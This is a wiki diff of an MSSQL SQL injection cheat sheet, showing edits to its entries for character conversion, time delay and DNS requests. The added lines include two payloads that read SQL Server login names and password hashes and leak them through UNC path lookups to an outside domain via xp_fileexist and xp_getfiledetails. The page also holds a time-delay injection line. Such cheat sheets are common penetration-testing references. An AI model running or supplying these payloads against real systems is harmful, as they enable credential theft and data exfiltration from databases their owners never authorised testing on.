Differences

This shows you the differences between two versions of the page.

--- hacking:sql_injection_cheat_sheet_mssql [2020/04/01 09:59] – peter
+++ hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
@@ Line 51: / Line 51: @@
 </code>|
 |ASCII Value -> Char|SELECT char(0x41) -- returns A|
-|Char -> ASCII Value|SELECT ascii('A') - returns 65|
+|Char -> ASCII Value|SELECT ascii('A') -- returns 65|
 |Casting|<code>
 SELECT CAST('1' as int);
@@ Line 62: / Line 62: @@
 |Time Delay|WAITFOR DELAY '0:0:5' -- pause for 5 seconds|
 |Make DNS Requests|<code>
+declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000
+declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005
 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
 -- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
@@ Line 91: / Line 95: @@
 tempdb
 </code>|
+----
+===== References =====
+https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql